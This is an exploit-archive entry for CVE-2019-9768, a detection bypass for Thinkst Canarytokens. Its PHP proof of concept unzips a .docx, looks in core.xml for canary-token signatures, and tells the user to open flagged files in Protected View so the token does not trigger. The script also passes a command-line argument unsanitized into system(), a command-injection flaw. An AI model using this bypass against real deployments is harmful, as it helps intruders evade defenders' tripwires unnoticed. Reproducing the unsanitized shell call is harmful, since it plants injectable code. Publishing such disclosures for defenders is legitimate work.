Canarytokens 2019-03-01 Detection Bypass

`## Exploit Title: Canarytokens 2019-03-01 - Detection Bypass  
# Date: 20.03.2019  
# Exploit Author: Benjamin Zink Loft, Gionathan "John" Reale   
# Vendor Homepage: https://thinkst.com/  
# Version: up to 2019-03-01  
# Software Link: https://github.com/thinkst/canarytokens  
# Google Dork: N/A   
# CVE: 2019-9768   
#==================================================================================================================================================================================  
# PoC:  
#  
#  
#  
# Requires unzip:  
#  
# sudo apt-get install unzip  
#  
#  
  
  
<?php  
  
system('unzip ' . $argv[1] . '.docx');  
  
system('cp ' . $argv[1] . '.docx ./docProps/' . $argv[1] . '.docx && cd docProps');  
  
$strFile = file_get_contents("docProps/core.xml");  
  
if(strpos($strFile, 'AAAAAAAAAAAAAAAA')!=false && strpos($strFile, '2015-07-21')!=false && filesize( $argv[1] .".docx") < 170000 )  
{  
echo "This file probably contains a CanaryToken! Open it with Libreoffice/Microsoft Word Protected View to bypass detection";  
}  
else  
{  
echo "Should be safe to open normally";  
}  
?>  
  
`